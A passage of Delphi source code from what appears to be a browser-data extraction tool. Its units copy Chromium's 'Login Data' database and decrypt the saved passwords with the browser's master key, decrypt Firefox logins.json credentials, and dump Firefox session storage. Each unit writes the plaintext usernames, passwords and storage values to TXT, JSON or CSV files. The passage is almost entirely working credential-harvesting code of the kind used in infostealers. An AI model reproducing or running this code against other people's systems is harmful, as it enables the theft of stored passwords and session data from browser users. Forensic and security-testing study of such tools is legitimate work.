FilePath: string; 84 | begin 85 | EnsureResultsDirectory; 86 | FileName := Format('%s_%s_passwords.txt', [GetBrowserPrefix, GetProfileName]); 87 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 88 | AssignFile(OutputFile, FilePath); 89 | try 90 | Rewrite(OutputFile); 91 | for var Login in Logins do 92 | begin 93 | WriteLn(OutputFile); 94 | WriteLn(OutputFile, 'URL: ', Login.LoginURL); 95 | WriteLn(OutputFile, 'Username: ', Login.UserName); 96 | WriteLn(OutputFile, 'Password: ', Login.Password); 97 | WriteLn(OutputFile, 'Created: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 98 | Login.CreateDate)); 99 | WriteLn(OutputFile, '----------------------------------------'); 100 | end; 101 | WriteLn(Format('[%s] Passwords saved to: %s', [GetBrowserPrefix.ToUpper, 102 | FilePath])); 103 | finally 104 | CloseFile(OutputFile); 105 | end; 106 | end; 107 | 108 | procedure TChromiumPasswordHelper.OutputJSON(const Logins: TLoginDataArray); 109 | var 110 | JSONArray: TJSONArray; 111 | JSONObject: TJSONObject; 112 | FileName, FilePath, JSONString: string; 113 | begin 114 | EnsureResultsDirectory; 115 | JSONArray := TJSONArray.Create; 116 | try 117 | for var Login in Logins do 118 | begin 119 | JSONObject := TJSONObject.Create; 120 | JSONObject.AddPair('url', TJSONString.Create(Login.LoginURL)); 121 | JSONObject.AddPair('username', TJSONString.Create(Login.UserName)); 122 | JSONObject.AddPair('password', TJSONString.Create(Login.Password)); 123 | JSONObject.AddPair('created', FormatDateTime('yyyy-mm-dd hh:nn:ss', 124 | Login.CreateDate)); 125 | JSONArray.AddElement(JSONObject); 126 | end; 127 | 128 | FileName := Format('%s_%s_passwords.json', 129 | [GetBrowserPrefix, GetProfileName]); 130 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 131 | FileName); 132 | 133 | JSONString := JSONArray.Format(2); 134 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 135 | TFile.WriteAllText(FilePath, JSONString); 136 | 137 | WriteLn(Format('[%s] Passwords saved to: %s', [GetBrowserPrefix.ToUpper, 138 | FilePath])); 139 | finally 140 | JSONArray.Free; 141 | end; 142 | end; 143 | 144 | procedure TChromiumPasswordHelper.OutputCSV(const Logins: TLoginDataArray); 145 | var 146 | OutputFile: TextFile; 147 | FileName, FilePath: string; 148 | begin 149 | EnsureResultsDirectory; 150 | FileName := Format('%s_%s_passwords.csv', [GetBrowserPrefix, GetProfileName]); 151 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 152 | AssignFile(OutputFile, FilePath); 153 | try 154 | Rewrite(OutputFile); 155 | WriteLn(OutputFile, 'URL,Username,Password,Created'); 156 | 157 | for var Login in Logins do 158 | begin 159 | WriteLn(OutputFile, Format('"%s","%s","%s","%s"', 160 | [StringReplace(Login.LoginURL, '"', '""', [rfReplaceAll]), 161 | StringReplace(Login.UserName, '"', '""', [rfReplaceAll]), 162 | StringReplace(Login.Password, '"', '""', [rfReplaceAll]), 163 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Login.CreateDate)])); 164 | end; 165 | 166 | WriteLn(Format('[%s] Passwords saved to: %s', [GetBrowserPrefix.ToUpper, 167 | FilePath])); 168 | finally 169 | CloseFile(OutputFile); 170 | end; 171 | end; 172 | 173 | procedure TChromiumPasswordHelper.OutputLogins(const Logins: TLoginDataArray); 174 | begin 175 | case FOutputFormat of 176 | ofHuman: 177 | OutputHuman(Logins); 178 | ofJSON: 179 | OutputJSON(Logins); 180 | ofCSV: 181 | OutputCSV(Logins); 182 | end; 183 | end; 184 | 185 | constructor TChromiumPasswordHelper.Create(const AProfilePath: string; 186 | ABrowserKind: TBrowserKind = bkChrome); 187 | begin 188 | inherited Create; 189 | FProfilePath := AProfilePath; 190 | FBrowserKind := ABrowserKind; 191 | FOutputFormat := ofCSV; 192 | FSQLiteConnection := TUniConnection.Create(nil); 193 | FSQLiteConnection.ProviderName := 'SQLite'; 194 | FSQLiteConnection.LoginPrompt := False; 195 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 196 | end; 197 | 198 | destructor TChromiumPasswordHelper.Destroy; 199 | begin 200 | if Assigned(FSQLiteConnection) then 201 | begin 202 | if FSQLiteConnection.Connected then 203 | FSQLiteConnection.Disconnect; 204 | FSQLiteConnection.Free; 205 | end; 206 | inherited; 207 | end; 208 | 209 | 210 | function TChromiumPasswordHelper.GetPasswords: TLoginDataArray; 211 | var 212 | Query: TUniQuery; 213 | LoginDb, TempDb: string; 214 | DateStr: string; 215 | FS: TFormatSettings; 216 | i: Integer; 217 | begin 218 | SetLength(Result, 0); 219 | LoginDb := TPath.Combine(FProfilePath, 'Login Data'); 220 | 221 | if not FileExists(LoginDb) then 222 | Exit; 223 | 224 | // Create temp copy of database 225 | TempDb := TPath.Combine(TPath.GetTempPath, Format('login_%s.db', [TGUID.NewGuid.ToString])); 226 | try 227 | TFile.Copy(LoginDb, TempDb, True); 228 | FSQLiteConnection.Database := TempDb; 229 | FSQLiteConnection.Connect; 230 | 231 | Query := TUniQuery.Create(nil); 232 | try 233 | Query.Connection := FSQLiteConnection; 234 | Query.SQL.Text := QUERY_Chromium_LOGIN; 235 | Query.Open; 236 | 237 | while not Query.Eof do 238 | begin 239 | SetLength(Result, Length(Result) + 1); 240 | with Result[High(Result)] do 241 | begin 242 | LoginURL := Query.FieldByName('origin_url').AsString; 243 | UserName := Query.FieldByName('username_value').AsString; 244 | 245 | var EncryptedPwd := Query.FieldByName('password_value').AsBytes; 246 | if Length(EncryptedPwd) > 0 then 247 | begin 248 | var MasterKey := ChromiumCrypto.GetMasterKey(FProfilePath); 249 | if Length(MasterKey) > 0 then 250 | begin 251 | var DecryptedBytes := ChromiumCrypto.DecryptWithChromium(MasterKey, EncryptedPwd); 252 | if Length(DecryptedBytes) > 0 then 253 | try 254 | Password := TEncoding.UTF8.GetString(DecryptedBytes); 255 | except 256 | Password := ''; 257 | for i := 0 to Length(DecryptedBytes) - 1 do 258 | if DecryptedBytes[i] >= 32 then 259 | Password := Password + Char(DecryptedBytes[i]); 260 | end; 261 | end; 262 | end; 263 | 264 | // Date conversion 265 | DateStr := Query.FieldByName('formatted_date').AsString; 266 | try 267 | FS := TFormatSettings.Create; 268 | FS.DateSeparator := '-'; 269 | FS.TimeSeparator := ':'; 270 | FS.ShortDateFormat := 'yyyy-mm-dd'; 271 | FS.LongTimeFormat := 'hh:nn:ss'; 272 | CreateDate := StrToDateTime(DateStr, FS); 273 | except 274 | CreateDate := 0; 275 | end; 276 | end; 277 | Query.Next; 278 | end; 279 | 280 | if Length(Result) > 0 then 281 | OutputLogins(Result); 282 | 283 | finally 284 | Query.Free; 285 | FSQLiteConnection.Disconnect; 286 | end; 287 | 288 | finally 289 | if FileExists(TempDb) then 290 | TFile.Delete(TempDb); 291 | end; 292 | end; 293 | 294 | function TChromiumPasswordHelper.GetPasswordCount: Integer; 295 | var 296 | Query: TUniQuery; 297 | LoginDb, TempDb: string; 298 | begin 299 | Result := 0; 300 | LoginDb := TPath.Combine(FProfilePath, 'Login Data'); 301 | 302 | if not FileExists(LoginDb) then 303 | Exit; 304 | 305 | TempDb := TPath.Combine(TPath.GetTempPath, 306 | Format('login_%s.db', [TGUID.NewGuid.ToString])); 307 | try 308 | TFile.Copy(LoginDb, TempDb); 309 | FSQLiteConnection.Database := TempDb; 310 | 311 | try 312 | FSQLiteConnection.Connect; 313 | Query := TUniQuery.Create(nil); 314 | try 315 | Query.Connection := FSQLiteConnection; 316 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM logins'; 317 | Query.Open; 318 | Result := Query.FieldByName('count').AsInteger; 319 | finally 320 | Query.Free; 321 | end; 322 | finally 323 | FSQLiteConnection.Disconnect; 324 | end; 325 | finally 326 | if FileExists(TempDb) then 327 | TFile.Delete(TempDb); 328 | end; 329 | end; 330 | 331 | end. 332 | -------------------------------------------------------------------------------- /src/browserdata/password/FirefoxPassword.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxPassword; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.JSON, 10 | System.NetEncoding, 11 | FirefoxCrypto; 12 | 13 | type 14 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 15 | 16 | TLoginData = record 17 | FormSubmitURL: string; // Form submission URL 18 | Hostname: string; // Website hostname 19 | Origin: string; // Origin URL 20 | HttpRealm: string; // HTTP auth realm 21 | Username: string; 22 | Password: string; 23 | CreateDate: Int64; 24 | end; 25 | 26 | TLoginDataArray = TArray; 27 | 28 | TFirefoxPasswordHelper = class 29 | private 30 | FProfilePath: string; 31 | FOutputFormat: TOutputFormat; 32 | FMasterKeyHelper: TMasterKeyHelper; 33 | function GetProfileName: string; 34 | procedure EnsureResultsDirectory; 35 | procedure ExtractURLs(const JSONItem: TJSONValue; var LoginData: TLoginData); 36 | procedure OutputHuman(const Credentials: TLoginDataArray); 37 | procedure OutputJSON(const Credentials: TLoginDataArray); 38 | procedure OutputCSV(const Credentials: TLoginDataArray); 39 | procedure OutputCredentials(const Credentials: TLoginDataArray); 40 | function LoadFirefoxLoginData: TLoginDataArray; 41 | public 42 | constructor Create(const AProfilePath: string); 43 | destructor Destroy; override; 44 | function GetPasswords: TLoginDataArray; 45 | function GetPasswordCount: Integer; 46 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 47 | end; 48 | 49 | implementation 50 | 51 | function TFirefoxPasswordHelper.GetProfileName: string; 52 | var 53 | ProfileFolder: string; 54 | begin 55 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 56 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 57 | end; 58 | 59 | procedure TFirefoxPasswordHelper.ExtractURLs(const JSONItem: TJSONValue; var LoginData: TLoginData); 60 | begin 61 | // Extract all URL-related fields 62 | LoginData.FormSubmitURL := JSONItem.GetValue('formSubmitURL', ''); 63 | LoginData.Hostname := JSONItem.GetValue('hostname', ''); 64 | LoginData.Origin := JSONItem.GetValue('origin', ''); 65 | LoginData.HttpRealm := JSONItem.GetValue('httpRealm', ''); 66 | end; 67 | 68 | constructor TFirefoxPasswordHelper.Create(const AProfilePath: string); 69 | begin 70 | inherited Create; 71 | FProfilePath := AProfilePath; 72 | FOutputFormat := ofCSV; // Default to CSV 73 | FMasterKeyHelper := TMasterKeyHelper.Create(AProfilePath); 74 | end; 75 | 76 | destructor TFirefoxPasswordHelper.Destroy; 77 | begin 78 | FMasterKeyHelper.Free; 79 | inherited; 80 | end; 81 | 82 | procedure TFirefoxPasswordHelper.EnsureResultsDirectory; 83 | var 84 | ResultsDir: string; 85 | begin 86 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 87 | if not TDirectory.Exists(ResultsDir) then 88 | TDirectory.CreateDirectory(ResultsDir); 89 | end; 90 | 91 | procedure TFirefoxPasswordHelper.OutputHuman(const Credentials: TLoginDataArray); 92 | var 93 | OutputFile: TextFile; 94 | FileName, FilePath: string; 95 | begin 96 | EnsureResultsDirectory; 97 | FileName := Format('firefox_%s_passwords.txt', [GetProfileName]); 98 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 99 | AssignFile(OutputFile, FilePath); 100 | try 101 | Rewrite(OutputFile); 102 | for var i := 0 to Length(Credentials) - 1 do 103 | begin 104 | WriteLn(OutputFile); 105 | if Credentials[i].FormSubmitURL <> '' then 106 | WriteLn(OutputFile, 'Form Submit URL: ', Credentials[i].FormSubmitURL); 107 | if Credentials[i].Hostname <> '' then 108 | WriteLn(OutputFile, 'Hostname: ', Credentials[i].Hostname); 109 | if Credentials[i].Origin <> '' then 110 | WriteLn(OutputFile, 'Origin: ', Credentials[i].Origin); 111 | if Credentials[i].HttpRealm <> '' then 112 | WriteLn(OutputFile, 'HTTP Realm: ', Credentials[i].HttpRealm); 113 | WriteLn(OutputFile, 'Username: ', Credentials[i].Username); 114 | WriteLn(OutputFile, 'Password: ', Credentials[i].Password); 115 | WriteLn(OutputFile, '----------------------------------------'); 116 | end; 117 | WriteLn('[FIREFOX] Passwords saved to: ', FilePath); 118 | finally 119 | CloseFile(OutputFile); 120 | end; 121 | end; 122 | 123 | procedure TFirefoxPasswordHelper.OutputJSON(const Credentials: TLoginDataArray); 124 | var 125 | JSONArray: TJSONArray; 126 | JSONObject: TJSONObject; 127 | FileName, FilePath, JSONString: string; 128 | begin 129 | EnsureResultsDirectory; 130 | JSONArray := TJSONArray.Create; 131 | try 132 | for var i := 0 to Length(Credentials) - 1 do 133 | begin 134 | JSONObject := TJSONObject.Create; 135 | 136 | if Credentials[i].FormSubmitURL <> '' then 137 | JSONObject.AddPair('formSubmitURL', TJSONString.Create(Credentials[i].FormSubmitURL)); 138 | if Credentials[i].Hostname <> '' then 139 | JSONObject.AddPair('hostname', TJSONString.Create(Credentials[i].Hostname)); 140 | if Credentials[i].Origin <> '' then 141 | JSONObject.AddPair('origin', TJSONString.Create(Credentials[i].Origin)); 142 | if Credentials[i].HttpRealm <> '' then 143 | JSONObject.AddPair('httpRealm', TJSONString.Create(Credentials[i].HttpRealm)); 144 | 145 | JSONObject.AddPair('username', TJSONString.Create(Credentials[i].Username)); 146 | JSONObject.AddPair('password', TJSONString.Create(Credentials[i].Password)); 147 | 148 | JSONArray.AddElement(JSONObject); 149 | end; 150 | 151 | FileName := Format('firefox_%s_passwords.json', [GetProfileName]); 152 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 153 | 154 | // Convert JSON to string 155 | JSONString := JSONArray.Format(2); 156 | 157 | // Replace escaped forward slashes \/ with / 158 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 159 | 160 | // Save the modified JSON string 161 | TFile.WriteAllText(FilePath, JSONString); 162 | 163 | WriteLn('[FIREFOX] Passwords saved to: ', FilePath); 164 | finally 165 | JSONArray.Free; 166 | end; 167 | end; 168 | 169 | procedure TFirefoxPasswordHelper.OutputCSV(const Credentials: TLoginDataArray); 170 | var 171 | OutputFile: TextFile; 172 | FileName, FilePath: string; 173 | begin 174 | EnsureResultsDirectory; 175 | FileName := Format('firefox_%s_passwords.csv', [GetProfileName]); 176 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 177 | AssignFile(OutputFile, FilePath); 178 | try 179 | Rewrite(OutputFile); 180 | WriteLn(OutputFile, 'FormSubmitURL,Hostname,Origin,HttpRealm,Username,Password'); 181 | 182 | for var Cred in Credentials do 183 | begin 184 | WriteLn(OutputFile, Format('"%s","%s","%s","%s","%s","%s"', 185 | [ 186 | StringReplace(Cred.FormSubmitURL, '"', '""', [rfReplaceAll]), 187 | StringReplace(Cred.Hostname, '"', '""', [rfReplaceAll]), 188 | StringReplace(Cred.Origin, '"', '""', [rfReplaceAll]), 189 | StringReplace(Cred.HttpRealm, '"', '""', [rfReplaceAll]), 190 | StringReplace(Cred.Username, '"', '""', [rfReplaceAll]), 191 | StringReplace(Cred.Password, '"', '""', [rfReplaceAll]) 192 | ])); 193 | end; 194 | 195 | WriteLn('[FIREFOX] Passwords saved to: ', FilePath); 196 | finally 197 | CloseFile(OutputFile); 198 | end; 199 | end; 200 | 201 | procedure TFirefoxPasswordHelper.OutputCredentials(const Credentials: TLoginDataArray); 202 | begin 203 | case FOutputFormat of 204 | ofHuman: OutputHuman(Credentials); 205 | ofJSON: OutputJSON(Credentials); 206 | ofCSV: OutputCSV(Credentials); 207 | end; 208 | end; 209 | 210 | function TFirefoxPasswordHelper.LoadFirefoxLoginData: TLoginDataArray; 211 | var 212 | JSONFile: string; 213 | JSONString: string; 214 | JSONValue: TJSONValue; 215 | JSONArray: TJSONArray; 216 | EncryptedUsernames, EncryptedPasswords: TArray; 217 | begin 218 | SetLength(Result, 0); 219 | JSONFile := TPath.Combine(FProfilePath, 'logins.json'); 220 | 221 | if not FileExists(JSONFile) then 222 | begin 223 | //WriteLn('Debug: logins.json not found at ', JSONFile); 224 | Exit; 225 | end; 226 | 227 | try 228 | JSONString := TFile.ReadAllText(JSONFile); 229 | JSONValue := TJSONObject.ParseJSONValue(JSONString); 230 | if not Assigned(JSONValue) then 231 | begin 232 | WriteLn('Debug: Failed to parse JSON'); 233 | Exit; 234 | end; 235 | 236 | try 237 | if not(JSONValue is TJSONObject) then 238 | begin 239 | WriteLn('Debug: Root JSON is not an object'); 240 | Exit; 241 | end; 242 | 243 | JSONArray := TJSONObject(JSONValue).GetValue('logins'); 244 | if not Assigned(JSONArray) then 245 | begin 246 | WriteLn('Debug: No logins array found'); 247 | Exit; 248 | end; 249 | 250 | SetLength(Result, JSONArray.Count); 251 | SetLength(EncryptedUsernames, JSONArray.Count); 252 | SetLength(EncryptedPasswords, JSONArray.Count); 253 | 254 | for var i := 0 to JSONArray.Count - 1 do 255 | begin 256 | // Extract all URL fields 257 | ExtractURLs(JSONArray.Items[i], Result[i]); 258 | Result[i].CreateDate := JSONArray.Items[i].GetValue('timeCreated') div 1000; 259 | 260 | try 261 | EncryptedUsernames[i] := TNetEncoding.Base64.DecodeStringToBytes( 262 | JSONArray.Items[i].GetValue('encryptedUsername')); 263 | EncryptedPasswords[i] := TNetEncoding.Base64.DecodeStringToBytes( 264 | JSONArray.Items[i].GetValue('encryptedPassword')); 265 | except 266 | on E: Exception do 267 | begin 268 | WriteLn(Format('Debug: Failed to decode credentials for entry %d: %s', [i, E.Message])); 269 | Continue; 270 | end; 271 | end; 272 | end; 273 | 274 | // Get master key and decrypt credentials 275 | var MasterKey: TBytes; 276 | try 277 | MasterKey := FMasterKeyHelper.GetMasterKey; 278 | except 279 | on E: Exception do 280 | begin 281 | WriteLn('Debug: Failed to get master key: ', E.Message); 282 | Exit; 283 | end; 284 | end; 285 | 286 | // Decrypt usernames and passwords 287 | for var i := 0 to Length(Result) - 1 do 288 | begin 289 | try 290 | if Length(EncryptedUsernames[i]) > 0 then 291 | begin 292 | var UsernamePBE := NewASN1PBE(EncryptedUsernames[i]); 293 | Result[i].Username := TEncoding.UTF8.GetString( 294 | UsernamePBE.Decrypt(MasterKey) 295 | ); 296 | end; 297 | except 298 | on E: Exception do 299 | WriteLn(Format('Debug: Failed to decrypt username for entry %d: %s', [i, E.Message])); 300 | end; 301 | 302 | try 303 | if Length(EncryptedPasswords[i]) > 0 then 304 | begin 305 | var PasswordPBE := NewASN1PBE(EncryptedPasswords[i]); 306 | Result[i].Password := TEncoding.UTF8.GetString( 307 | PasswordPBE.Decrypt(MasterKey) 308 | ); 309 | end; 310 | except 311 | on E: Exception do 312 | WriteLn(Format('Debug: Failed to decrypt password for entry %d: %s', [i, E.Message])); 313 | end; 314 | end; 315 | 316 | finally 317 | JSONValue.Free; 318 | end; 319 | except 320 | on E: Exception do 321 | begin 322 | WriteLn('Debug: Unexpected error: ', E.Message); 323 | SetLength(Result, 0); 324 | end; 325 | end; 326 | end; 327 | 328 | function TFirefoxPasswordHelper.GetPasswords: TLoginDataArray; 329 | begin 330 | Result := LoadFirefoxLoginData; 331 | if Length(Result) > 0 then 332 | OutputCredentials(Result); 333 | end; 334 | 335 | function TFirefoxPasswordHelper.GetPasswordCount: Integer; 336 | var 337 | JSONFile: string; 338 | JSONString: string; 339 | JSONValue: TJSONValue; 340 | JSONArray: TJSONArray; 341 | begin 342 | Result := 0; 343 | JSONFile := TPath.Combine(FProfilePath, 'logins.json'); 344 | 345 | if not FileExists(JSONFile) then 346 | Exit; 347 | 348 | try 349 | JSONString := TFile.ReadAllText(JSONFile); 350 | JSONValue := TJSONObject.ParseJSONValue(JSONString); 351 | if Assigned(JSONValue) then 352 | try 353 | if JSONValue is TJSONObject then 354 | begin 355 | JSONArray := TJSONObject(JSONValue).GetValue('logins'); 356 | if Assigned(JSONArray) then 357 | Result := JSONArray.Count; 358 | end; 359 | finally 360 | JSONValue.Free; 361 | end; 362 | except 363 | Result := 0; 364 | end; 365 | end; 366 | 367 | end. 368 | -------------------------------------------------------------------------------- /src/browserdata/sessionstorage/ChromiumSessionStorage.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumSessionStorage; 2 | 3 | interface 4 | 5 | implementation 6 | 7 | end. 8 | -------------------------------------------------------------------------------- /src/browserdata/sessionstorage/FirefoxSessionStorage.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxSessionStorage; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.JSON, 12 | Uni, 13 | SQLiteUniProvider; 14 | 15 | type 16 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 17 | 18 | TSessionStorageItem = record 19 | URL: string; 20 | Key: string; 21 | Value: string; 22 | end; 23 | 24 | TSessionStorageItems = TArray; 25 | 26 | TFirefoxSessionStorageHelper = class 27 | private 28 | FProfilePath: string; 29 | FOutputFormat: TOutputFormat; 30 | FSQLiteConnection: TUniConnection; 31 | 32 | const 33 | QUERY_FIREFOX_SESSIONSTORAGE = 'SELECT originKey, key, value FROM webappsstore2'; 34 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 35 | 36 | function GetProfileName: string; 37 | procedure EnsureResultsDirectory; 38 | procedure OutputHuman(const SessionStorage: TSessionStorageItems); 39 | procedure OutputJSON(const SessionStorage: TSessionStorageItems); 40 | procedure OutputCSV(const SessionStorage: TSessionStorageItems); 41 | procedure OutputSessionStorage(const SessionStorage: TSessionStorageItems); 42 | function ParseOriginKey(const OriginKey: string): string; 43 | function ReverseString(const Str: string): string; 44 | 45 | public 46 | constructor Create(const AProfilePath: string); 47 | destructor Destroy; override; 48 | function GetSessionStorage: TSessionStorageItems; 49 | function GetSessionStorageCount: Integer; 50 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 51 | end; 52 | 53 | implementation 54 | 55 | function TFirefoxSessionStorageHelper.GetProfileName: string; 56 | var 57 | ProfileFolder: string; 58 | begin 59 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 60 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 61 | end; 62 | 63 | function TFirefoxSessionStorageHelper.ReverseString(const Str: string): string; 64 | var 65 | i: Integer; 66 | begin 67 | SetLength(Result, Length(Str)); 68 | for i := 1 to Length(Str) do 69 | Result[i] := Str[Length(Str) - i + 1]; 70 | end; 71 | 72 | function TFirefoxSessionStorageHelper.ParseOriginKey(const OriginKey: string): string; 73 | var 74 | Parts: TArray; 75 | Host: string; 76 | begin 77 | // Split originKey (e.g., "moc.buhtig.:https:443") 78 | Parts := OriginKey.Split([':']); 79 | if Length(Parts) = 3 then 80 | begin 81 | // Reverse the host part and remove leading dot if present 82 | Host := ReverseString(Parts[0]); 83 | if Host.StartsWith('.') then 84 | Host := Host.Substring(1); 85 | 86 | // Format: scheme://host:port 87 | Result := Format('%s://%s:%s', [Parts[1], Host, Parts[2]]); 88 | end 89 | else 90 | Result := OriginKey; 91 | end; 92 | 93 | procedure TFirefoxSessionStorageHelper.EnsureResultsDirectory; 94 | var 95 | ResultsDir: string; 96 | begin 97 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 98 | if not TDirectory.Exists(ResultsDir) then 99 | TDirectory.CreateDirectory(ResultsDir); 100 | end; 101 | 102 | procedure TFirefoxSessionStorageHelper.OutputHuman(const SessionStorage: TSessionStorageItems); 103 | var 104 | OutputFile: TextFile; 105 | FileName, FilePath: string; 106 | begin 107 | EnsureResultsDirectory; 108 | FileName := Format('firefox_%s_sessionstorage.txt', [GetProfileName]); 109 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 110 | AssignFile(OutputFile, FilePath); 111 | try 112 | Rewrite(OutputFile); 113 | for var Item in SessionStorage do 114 | begin 115 | WriteLn(OutputFile); 116 | WriteLn(OutputFile, 'URL: ', Item.URL); 117 | WriteLn(OutputFile, 'Key: ', Item.Key); 118 | WriteLn(OutputFile, 'Value: ', Item.Value); 119 | WriteLn(OutputFile, '----------------------------------------'); 120 | end; 121 | WriteLn('[FIREFOX] SessionStorage saved to: ', FilePath); 122 | finally 123 | CloseFile(OutputFile); 124 | end; 125 | end; 126 | 127 | procedure TFirefoxSessionStorageHelper.OutputJSON(const SessionStorage: TSessionStorageItems); 128 | var 129 | JSONArray: TJSONArray; 130 | JSONObject: TJSONObject; 131 | FileName, FilePath, JSONString: string; 132 | begin 133 | EnsureResultsDirectory; 134 | JSONArray := TJSONArray.Create; 135 | try 136 | for var Item in SessionStorage do 137 | begin 138 | JSONObject := TJSONObject.Create; 139 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 140 | JSONObject.AddPair('key', TJSONString.Create(Item.Key)); 141 | JSONObject.AddPair('value', TJSONString.Create(Item.Value)); 142 | JSONArray.AddElement(JSONObject); 143 | end; 144 | 145 | FileName := Format('firefox_%s_sessionstorage.json', [GetProfileName]); 146 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 147 | 148 | // Convert JSON to string 149 | JSONString := JSONArray.Format(2); 150 | 151 | // Replace escaped forward slashes \/ with / 152 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 153 | 154 | // Save the modified JSON string 155 | TFile.WriteAllText(FilePath, JSONString); 156 | 157 | WriteLn('[FIREFOX] SessionStorage saved to: ', FilePath); 158 | finally 159 | JSONArray.Free; 160 | end; 161 | end; 162 | 163 | procedure TFirefoxSessionStorageHelper.OutputCSV(const SessionStorage: TSessionStorageItems); 164 | var 165 | OutputFile: TextFile; 166 | FileName, FilePath: string; 167 | begin 168 | EnsureResultsDirectory; 169 | FileName := Format('firefox_%s_sessionstorage.csv', [GetProfileName]); 170 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 171 | AssignFile(OutputFile, FilePath); 172 | try 173 | Rewrite(OutputFile); 174 | WriteLn(OutputFile, 'URL,Key,Value'); 175 | 176 | for var Item in SessionStorage do 177 | begin 178 | WriteLn(OutputFile, Format('"%s","%s","%s"', 179 | [StringReplace(Item.URL, '"', '""', [rfReplaceAll]), 180 | StringReplace(Item.Key, '"', '""', [rfReplaceAll]), 181 | StringReplace(Item.Value, '"', '""', [rfReplaceAll])])); 182 | end; 183 | 184 | WriteLn('[FIREFOX] SessionStorage saved to: ', FilePath); 185 | finally 186 | CloseFile(OutputFile); 187 | end; 188 | end; 189 | 190 | procedure TFirefoxSessionStorageHelper.OutputSessionStorage(const SessionStorage: TSessionStorageItems); 191 | begin 192 | case FOutputFormat of 193 | ofHuman: 194 | OutputHuman(SessionStorage); 195 | ofJSON: 196 | OutputJSON(SessionStorage); 197 | ofCSV: 198 | OutputCSV(SessionStorage); 199 | end; 200 | end; 201 | 202 | constructor TFirefoxSessionStorageHelper.Create(const AProfilePath: string); 203 | begin 204 | inherited Create; 205 | FProfilePath := AProfilePath; 206 | FOutputFormat := ofCSV; // Default to CSV 207 | FSQLiteConnection := TUniConnection.Create(nil); 208 | FSQLiteConnection.ProviderName := 'SQLite'; 209 | FSQLiteConnection.LoginPrompt := False; 210 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 211 | end; 212 | 213 | destructor TFirefoxSessionStorageHelper.Destroy; 214 | begin 215 | if Assigned(FSQLiteConnection) then 216 | begin 217 | if FSQLiteConnection.Connected then 218 | FSQLiteConnection.Disconnect; 219 | FSQLiteConnection.Free; 220 | end; 221 | inherited; 222 | end; 223 | 224 | function TFirefoxSessionStorageHelper.GetSessionStorage: TSessionStorageItems; 225 | var 226 | Query: TUniQuery; 227 | SessionStorageDb, TempDb: string; 228 | begin 229 | SetLength(Result, 0); 230 | SessionStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite'); 231 | 232 | if not FileExists(SessionStorageDb) then 233 | Exit; 234 | 235 | // Create temp copy of database 236 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webappsstore_%s.sqlite', [TGUID.NewGuid.ToString])); 237 | try 238 | TFile.Copy(SessionStorageDb, TempDb); 239 | FSQLiteConnection.Database := TempDb; 240 | 241 | FSQLiteConnection.Connect; 242 | Query := TUniQuery.Create(nil); 243 | try 244 | Query.Connection := FSQLiteConnection; 245 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 246 | Query.ExecSQL; 247 | Query.SQL.Text := QUERY_FIREFOX_SESSIONSTORAGE; 248 | Query.Open; 249 | 250 | while not Query.Eof do 251 | begin 252 | SetLength(Result, Length(Result) + 1); 253 | with Result[High(Result)] do 254 | begin 255 | URL := ParseOriginKey(Query.FieldByName('originKey').AsString); 256 | Key := Query.FieldByName('key').AsString; 257 | Value := Query.FieldByName('value').AsString; 258 | end; 259 | Query.Next; 260 | end; 261 | 262 | if Length(Result) > 0 then 263 | OutputSessionStorage(Result); 264 | 265 | finally 266 | Query.Free; 267 | FSQLiteConnection.Disconnect; 268 | end; 269 | 270 | finally 271 | if FileExists(TempDb) then 272 | TFile.Delete(TempDb); 273 | end; 274 | end; 275 | 276 | function TFirefoxSessionStorageHelper.GetSessionStorageCount: Integer; 277 | var 278 | Query: TUniQuery; 279 | SessionStorageDb: string; 280 | begin 281 | Result := 0; 282 | SessionStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite'); 283 | 284 | if not FileExists(SessionStorageDb) then 285 | Exit; 286 | 287 | FSQLiteConnection.Database := SessionStorageDb; 288 | 289 | try 290 | FSQLiteConnection.Connect; 291 | Query := TUniQuery.Create(nil); 292 | try 293 | Query.Connection := FSQLiteConnection; 294 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM webappsstore2'; 295 | 